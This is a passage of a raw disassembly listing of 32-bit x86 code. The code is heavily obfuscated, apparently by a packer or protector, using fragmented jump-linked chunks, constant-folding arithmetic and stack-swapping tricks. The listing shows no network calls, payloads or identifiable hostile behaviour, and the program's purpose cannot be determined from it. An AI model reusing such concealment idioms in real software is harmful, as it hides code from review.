loc_5AA6B9 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_59B869: ; CODE XREF: sub_5ABFD8-FB42j push ecx mov ecx, 1 and eax, ecx mov ecx, [esp+4+var_4] jmp sub_5A996F ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B879: ; CODE XREF: sdfs____:005A3B5Bj ; sub_5AA2D1-3DEj add edi, 5D6B6BFAh shr edi, 5 add edi, 0FC999A0Dh add edx, edi jmp loc_5AD804 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_59B88F: ; CODE XREF: sub_5A9D64-EC47j sub esi, 29821C17h add esi, 297AC749h add ecx, 56EC4E73h jmp loc_5A90B0 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59B8A6: ; CODE XREF: sub_5AA810-B043j add edx, ebp pop ebp xchg edx, [esp+4+var_4] pop esp xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp jmp loc_59FCDD ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59B8BC: ; CODE XREF: sub_5B01F7:loc_5AAAECj dec ebx jg loc_5A2915 jmp loc_5A98D6 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_59B8C8: ; CODE XREF: sub_59D4FD+557Cj and edx, 4F797F8Eh jge loc_5ABB5A xor edx, 4F69038Ch jmp loc_5A2748 ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- loc_59B8DF: ; CODE XREF: sdfs____:0059CB79j mov eax, 0B086181Fh add eax, esi pop esi not eax inc eax and eax, 54791E8Bh sub eax, 60AF5B07h xor eax, 0AFF6EC3h sub edx, eax pop eax shr edx, 7 push ebx mov ebx, 7EE51F23h jmp loc_5A7C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2B8 loc_59B90A: ; CODE XREF: sub_59C2B8+Cj sub ebx, 56CB2541h sub ebx, 0C231FFB7h jmp loc_59EDA3 ; END OF FUNCTION CHUNK FOR sub_59C2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59B91B: ; CODE XREF: sub_5A7BA0-DBB3j ; sub_59D6B8+5981j push 14BFh mov [esp+0], ecx mov ecx, 2E1A56A4h jmp loc_5A6489 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B92D: ; CODE XREF: sub_5AA2D1-1BAEj pop edx xor eax, esi push dword ptr [esp+0] pop esi jmp loc_59BB4A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59B939: ; CODE XREF: sub_59F02F+54A7j xor ebp, [esp+10h+var_10] pop esp jmp loc_5A8F30 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5997FD loc_59B942: ; CODE XREF: sub_5997FD+1963j and ebx, 19233E07h add ebx, 162D77D0h jmp loc_5AD00A ; END OF FUNCTION CHUNK FOR sub_5997FD ; --------------------------------------------------------------------------- loc_59B953: ; CODE XREF: sdfs____:0059A646j add ebx, 4 jmp loc_59DD9E ; =============== S U B R O U T I N E ======================================= sub_59B95E proc near ; DATA XREF: sdfs____:00598F04o var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AD45 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059FDAD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A1008 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A1E60 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A6F44 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A6FDC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AD5C8 SIZE 0000000E BYTES lodsd xor eax, ebx push 69C7h jmp loc_5A1008 sub_59B95E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59B96B: ; CODE XREF: sub_5A0FFF+3465j push edi mov edi, esp push ebx mov ebx, 4E7D1929h sub ebx, 4E7D1925h add edi, ebx pop ebx sub edi, 4 xchg edi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx mov edx, 32A93757h neg edx neg edx push esi mov esi, 5E4E4A15h shr esi, 8 inc esi xor esi, 2AC94962h not esi jmp loc_5A36A4 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59B9A7: ; CODE XREF: sub_59D6B8+8DBEj add esp, 4 jmp loc_5AF547 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59B9B2: ; CODE XREF: sub_59EE3E:loc_599854j ; sub_5A6B87+Dj sub bx, 86D1h push ebp mov bp, 41A4h shr bp, 3 add bp, 21D7h sub ax, bp pop ebp sub ax, 733Eh add ax, bx add ax, 733Eh jmp loc_5A6500 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59B9D9: ; CODE XREF: sub_5A54C9+1B3Fj ; sub_5AA2D1+57A0j not dword ptr [esp+0] pop eax add eax, 3E3C3072h ja loc_5A977E sub eax, 66A339B0h jnb loc_5A66AC xor eax, 0ABDEC484h sub esp, 4 jmp loc_5A14DC ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E21 loc_59BA03: ; CODE XREF: sub_599E21+1413Ej pop ecx pop dword ptr [esp+0] jmp loc_5AD30D ; END OF FUNCTION CHUNK FOR sub_599E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_59BA0C: ; CODE XREF: sub_5AC18D-6D68j push 51ABh mov [esp+8+var_8], edx mov edx, 38h jmp loc_59A50F ; END OF FUNCTION CHUNK FOR sub_5AC18D ; =============== S U B R O U T I N E ======================================= sub_59BA1E proc near ; DATA XREF: sdfs____:00598F78o neg word ptr [esp+0] pushf jmp loc_59910F sub_59BA1E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_59BA28: ; CODE XREF: sub_5A765F+4B10j mov edx, [esp+0] add esp, 4 xor al, ch jmp loc_5A4B10 ; END OF FUNCTION CHUNK FOR sub_5A765F ; =============== S U B R O U T I N E ======================================= sub_59BA35 proc near ; CODE XREF: sub_5A6BBC+4FE1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599ACD SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059A4A9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059B122 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059D677 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059E358 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A316D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A613A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AA160 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AB35C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC2B0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AF6E7 SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], eax push 6FD66F5Ah mov eax, [esp+8+var_8] add esp, 4 or eax, 508A6FF2h jg loc_5AC2B0 add eax, 0A256D9F6h sub esp, 4 loc_59BA5C: ; CODE XREF: sub_5A7762+19j add esi, 3C9C63A7h jo loc_5AF6E7 or esi, 3A5807FEh jl sub_59D4FD jmp loc_599ACD sub_59BA35 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC2C0 loc_59BA79: ; CODE XREF: sub_5AC2C0+37j pop edi push edx push 6BB0h mov [esp+4+var_4], ebx push edi mov edi, 4A12128Bh or edi, 444332E2h xor edi, 42A49B1h mov ebx, edi pop edi jmp loc_5A924C ; END OF FUNCTION CHUNK FOR sub_5AC2C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59BA9D: ; CODE XREF: sub_5A2E41+1989j jz loc_5A7E77 dec ebx jp loc_5AB685 and ebx, 5A1F59BBh jmp loc_59E50D ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BAB5: ; CODE XREF: sub_5AA2D1-519Bj add ecx, ebp add ecx, 750116DBh pop ebp sub ecx, 4 xor ecx, [esp-4+arg_0] xor [esp-4+arg_0], ecx xor ecx, [esp-4+arg_0] pop esp jmp loc_5A193E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59BAD3 proc near ; DATA XREF: sdfs____:00598F9Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599283 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059C86E SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005A0F30 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A5662 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A6875 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A70FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AAB3E SIZE 00000028 BYTES push dword ptr [edi+1Ch] jmp loc_5AAB3E sub_59BAD3 endp ; --------------------------------------------------------------------------- loc_59BADB: ; CODE XREF: sdfs____:005ACF9Ej push 30DEh jmp loc_5A7E1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59BAE5: ; CODE XREF: sub_5A2E28-432Bj jmp loc_5AEBF9 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59BAEA: ; CODE XREF: sub_5A6BBC-85C3j mov ebx, [esp+4+var_4] add esp, 4 add eax, esi jmp loc_5A5FD5 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59BAF7: ; CODE XREF: sub_5992DA+BCB5j shl ecx, 2 or ecx, 4B0772FDh add ecx, 1C3E28D6h add ebx, 31F93969h sub ebx, ecx sub ebx, 31F93969h jmp loc_5A82FC ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_59BB19 proc near ; CODE XREF: sub_5A8CA3-7860j var_4 = dword ptr -4 push ebx push 4 pop ebx add eax, 4F5E5169h add eax, ebx sub eax, 4F5E5169h mov ebx, [esp+4+var_4] jmp sub_5A2A15 sub_59BB19 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BB34: ; CODE XREF: sub_5AA2D1-DCCFj push esi jmp loc_5ADB6D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59BB3A: ; CODE XREF: sub_5AD795-F773j shl eax, 2 shr eax, 3 and eax, 3DC1C17h jmp loc_5ADDE4 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BB4A: ; CODE XREF: sub_5AA2D1-E99Dj add esp, 4 jmp loc_5A42E8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA26A loc_59BB52: ; CODE XREF: sub_5AA26A-98EFj mov dl, 8Ch mov cl, 0E4h xor cl, dl pop edx push ax mov ah, 0BEh jmp loc_5A8E0D ; END OF FUNCTION CHUNK FOR sub_5AA26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59BB62: ; CODE XREF: sub_5A9EBF-61CBj and esi, 400A7ED0h xor esi, 20EB7EC0h jmp loc_59A472 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; =============== S U B R O U T I N E ======================================= sub_59BB73 proc near ; DATA XREF: sdfs____:00598FD4o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D6AB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AF31C SIZE 00000020 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, esp jmp loc_59D6AB sub_59BB73 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_59BB83: ; CODE XREF: sub_59B3C9+12ECEj add eax, 4 push eax push [esp+14h+var_10] pop eax pop [esp+14h+var_14] mov esp, [esp+10h+var_10] sub [esp-4+arg_0], eax pushf jmp loc_5A30DD ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59BB9D: ; CODE XREF: sub_59D6B8-3E69j jg loc_5A6898 shl ebx, 1 xor ebx, 3CDF702Dh jmp loc_5A8D14 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59BBB0: ; CODE XREF: sub_5A2E28+325Ej not ecx jmp loc_5A24E7 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599664 loc_59BBB7: ; CODE XREF: sub_599664+F2ABj add esp, 2 xor [esp+0], dx xor dx, [esp+0] xor [esp+0], dx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BBCE: ; CODE XREF: sub_5AA2D1:loc_5A2060j ; sub_5AF2D9-7BBCj sub ecx, ebx push edx push eax push 2F69374Ah pop eax shr eax, 3 jp loc_5A0D14 jmp loc_5A093A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59BBE6: ; CODE XREF: sub_5A580F:loc_59ADABj sub edi, 3B4229CCh jno loc_5A2234 push edx mov edx, 3E76B9Ch jmp loc_5A3AD9 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59BBFD: ; CODE XREF: sub_5A0FFF-5FB5j sub ebx, 687937D3h add ebx, ecx add ebx, 687937D3h mov [ebx], dl mov ebx, [esp+4+var_4] add esp, 4 mov edx, [esp+0] push edx push esp jmp loc_5AC1A4 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59BC20: ; CODE XREF: sub_5A79BE:loc_5A937Cj ; sub_5A79BE+6A87j jmp loc_5A5638 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- loc_59BC25: ; CODE XREF: sdfs____:005A15F0j push 0 add dword ptr [esp], 0D556BCh jmp loc_5AEF25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD13 loc_59BC36: ; CODE XREF: sub_5ADD13-12C17j mov [esp-4+arg_0], ebp push [esp-4+arg_4] mov ebp, [esp+0] add esp, 4 jmp loc_5A1606 ; END OF FUNCTION CHUNK FOR sub_5ADD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BC48: ; CODE XREF: sub_5AA2D1-E60j pop esp push esi mov esi, edx mov eax, esi pop esi push dword ptr [esp+0] pop edx push eax jmp loc_599FB4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59BC59: ; CODE XREF: sdfs____:005AFAA4j mov esi, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push ecx mov ecx, 8863145h jmp loc_59CEE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A12E6 loc_59BC76: ; CODE XREF: sub_5A12E6+Aj mov [esp+0], ebp push 69B8592Dh pop ebp push esi mov esi, 31023C1h xor ebp, esi mov esi, [esp+4+var_4] add esp, 4 neg ebp jmp loc_5A80D6 ; END OF FUNCTION CHUNK FOR sub_5A12E6 ; =============== S U B R O U T I N E ======================================= sub_59BC97 proc near ; CODE XREF: sdfs____:005A7317j ; sub_5A9A8F+5EACj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005AEAF1 SIZE 00000009 BYTES sub esp, 4 jmp loc_5AEAF1 sub_59BC97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4886 loc_59BC9F: ; CODE XREF: sub_5A4886+23A5j dec eax shr eax, 1 push esi mov esi, 1F651818h neg esi sub esi, 777EC6E9h xor eax, esi pop esi or eax, 190914D8h add eax, 0A0C04008h add esi, eax pop eax xchg esi, [esp+0] mov esp, [esp+0] push 1DC4h mov [esp-8+arg_4], eax mov eax, 52595715h push edx push ecx mov ecx, 4A406F38h jmp loc_5A33BD ; END OF FUNCTION CHUNK FOR sub_5A4886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59BCDF: ; CODE XREF: sub_5B01F7-112D1j mov eax, [esp+18h+var_18] add esp, 4 xchg ecx, [esp+14h+var_14] mov esp, [esp+14h+var_14] mov word ptr [esp+14h+var_14], dx push ax pushf jmp loc_59E9F1 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59BCFA: ; CODE XREF: sub_5A5EFF-E0Cj add ecx, edx jmp loc_5B0342 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- loc_59BD01: ; CODE XREF: sdfs____:0059CCBDj sub esi, ecx pop ecx add ecx, esi pop esi jmp sub_599B07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0B5D loc_59BD0C: ; CODE XREF: sub_5A0B5D+CF16j pop eax sub ebx, 72401F68h add ebx, ebp jmp sub_599C9B ; END OF FUNCTION CHUNK FOR sub_5A0B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_59BD1A: ; CODE XREF: sub_5992DA+736Aj ; sub_5A913B-30C1j pop eax jmp loc_59928B ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BD20: ; CODE XREF: sub_5AA2D1-27EBj push ecx push 2CA1h mov [esp+0Ch+var_C], eax push 1F70h jmp loc_59B757 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_59BD33: ; CODE XREF: sub_5A2166-303Dj mov ecx, 21406696h jmp loc_5AEF67 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_59BD3D: ; CODE XREF: sub_5A522E+86EFj xor ebx, 2F127573h jo loc_59F62F jmp loc_5A9EA3 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BD4E: ; CODE XREF: sub_5AA2D1-9780j ; sub_5AA2D1+44Ej sub edi, 69F859DDh jmp loc_5AFD90 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59BD59: ; CODE XREF: sub_5992DA+1895j cmp ecx, eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BD61: ; CODE XREF: sub_5AA2D1-AC61j push 36BDh mov [esp+14h+var_14], esi push 1178h mov [esp+18h+var_1A+2], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], ecx xor ecx, [esp+18h+var_1A+2] pop esp mov [esp+14h+var_14], eax mov eax, 5B6B6FADh push edi push ecx jmp loc_59CFA2 ; --------------------------------------------------------------------------- loc_59BD95: ; CODE XREF: sub_5AA2D1+F49j pop esi sub edx, 574B7A32h add edx, ebp add edx, 574B7A32h pop ebp add edx, 4 xchg edx, [esp+14h+var_14] mov esp, [esp+14h+var_14] jmp loc_5A4D09 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59BDB6: ; CODE XREF: sub_59A9E9+63AAj sub ebx, edx pop edx xor eax, ebx pop ebx or ecx, eax push [esp+8+var_8] pop eax add esp, 4 not ecx add ecx, 1 add ecx, 0FFCFF73Ah jmp loc_59D635 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59BDD8: ; CODE XREF: sub_59EE3E+10CB2j shl dl, 8 sub dl, 89h sub ch, 94h sub ch, dl add ch, 94h mov edx, [esp+0] add esp, 4 sub al, ch push [esp-4+arg_0] pop ecx jmp sub_59F3AE ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_59BDFA: ; CODE XREF: sub_5AB5A9+41Dj push eax mov eax, 443D27C2h shl eax, 3 xor eax, 69E86642h add eax, 0B7FEA7B2h push eax pop edx pop eax add ebx, edx jmp loc_59F696 ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; =============== S U B R O U T I N E ======================================= sub_59BE17 proc near ; CODE XREF: sub_5A5EFF-927Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059C55B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DB10 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059E1C0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A0BB0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A4653 SIZE 0000000F BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 3CEC221Ah jmp loc_59C55B sub_59BE17 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59BE27: ; CODE XREF: sub_5A6BBC+3696j mov [esp+0Ch+var_C], edx mov edx, 6DE19AEh add edx, 0B0A06A66h xor eax, edx mov edx, [esp+0Ch+var_C] add esp, 4 add esi, eax jmp loc_5A2A43 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_59BE44: ; CODE XREF: sub_599117:loc_5A53BDj not ebx add ebx, 703E6264h mov ebp, ebx jmp loc_59FDFE ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_59BE53: ; CODE XREF: sub_59F074+6j and ebx, 451D4471h jmp loc_5A8BD1 ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59BE5E: ; CODE XREF: sub_59EE3E+B28Aj dec ebp push ebx push esi mov esi, 0CF14F062h jmp loc_5A85A9 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BE6B: ; CODE XREF: sub_5AA2D1-C9E1j mov ebp, 1EFF7A6Dh sub esi, ebp mov ebp, [esp+14h+var_14] jmp loc_5AE8BA ; --------------------------------------------------------------------------- loc_59BE7A: ; CODE XREF: sub_5AA2D1-F606j sub ah, 54h sub bl, ah jmp loc_5A38E1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_59BE84: ; CODE XREF: sub_59B2E4+1146Ej pop eax xchg ebx, [esp+8+var_8] jmp loc_5A2748 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- loc_59BE8D: ; CODE XREF: sdfs____:005A7FB5j shl edi, 5 xor edi, 0BE5A4624h add ebp, edi pop edi push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_5A679C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59BEA7: ; CODE XREF: sub_5B01F7-A6ABj push 6913h jmp loc_5A2C67 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BEB1: ; CODE XREF: sub_5AA2D1-CFC9j add eax, 49401435h add eax, ebp sub eax, 49401435h pop ebp sub eax, esi push ecx mov ecx, 6F6D2831h add eax, 7DAA525Eh jmp loc_5A2ED0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59BED0: ; CODE XREF: sub_5A2E41-4320j push 4A66h mov [esp+0Ch+var_C], eax push edx push edi push 64924922h pop edi jmp loc_59A36D ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BEE5: ; CODE XREF: sub_5AA2D1-BC78j add ch, 30h sub al, ch jmp loc_59C980 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_59BEEF: ; CODE XREF: sub_5A5648-3A4Cj xor ecx, 6009AFB7h sub eax, ecx jmp loc_5A5567 ; END OF FUNCTION CHUNK FOR sub_5A5648 ; --------------------------------------------------------------------------- loc_59BEFC: ; CODE XREF: sdfs____:005AA08Aj pop edx add esp, 4 add eax, 0CFFDDD95h add esi, eax mov eax, [esp] add esp, 4 jmp loc_5A2529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59BF12: ; CODE XREF: sub_59F02F-16F0j push esp mov ecx, [esp+10h+var_10] jmp loc_5A340E ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59BF1B: ; CODE XREF: sub_5A9EC5+1FBFj xchg bl, dh sub esp, 4 jmp loc_5AF6A2 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_59BF25: ; CODE XREF: sub_5A3C19+834Aj mov eax, [esp+0] add esp, 4 inc eax jnz loc_5ABB22 or eax, 23591EC7h add eax, 9404E02Dh mov ebp, eax pop eax mov ecx, esi ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59BF41: ; CODE XREF: sub_5AA2D1-C675j add eax, ebx pop ebx jmp loc_59F25C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59BF49: ; CODE XREF: sub_59DE4B+3868j ; sub_59A26C+AC12j push [esp-0Ch+arg_8] pop edx add esp, 4 jmp loc_5A9345 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59BF55: ; CODE XREF: sub_5992DA+14CA0j push eax mov eax, 482431EBh shr eax, 5 jmp loc_5A59DF ; --------------------------------------------------------------------------- loc_59BF63: ; CODE XREF: sub_5992DA+D972j pop edx and eax, 699149A2h sub eax, 1A97247Ch push esi jmp loc_59D687 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF533 loc_59BF74: ; CODE XREF: sub_5AF533-16041j xor ebx, [esp-0Ch+arg_8] pop esp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AF533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A317A loc_59BF7D: ; CODE XREF: sub_5A317A+8628j add esp, 4 push 4AA5h mov [esp+0], eax push esi mov esi, 4 jmp loc_59FCD2 ; END OF FUNCTION CHUNK FOR sub_5A317A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59BF93: ; CODE XREF: sub_5A79BE+20j mov ecx, 46AD071Fh inc ecx jmp loc_59AB42 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC 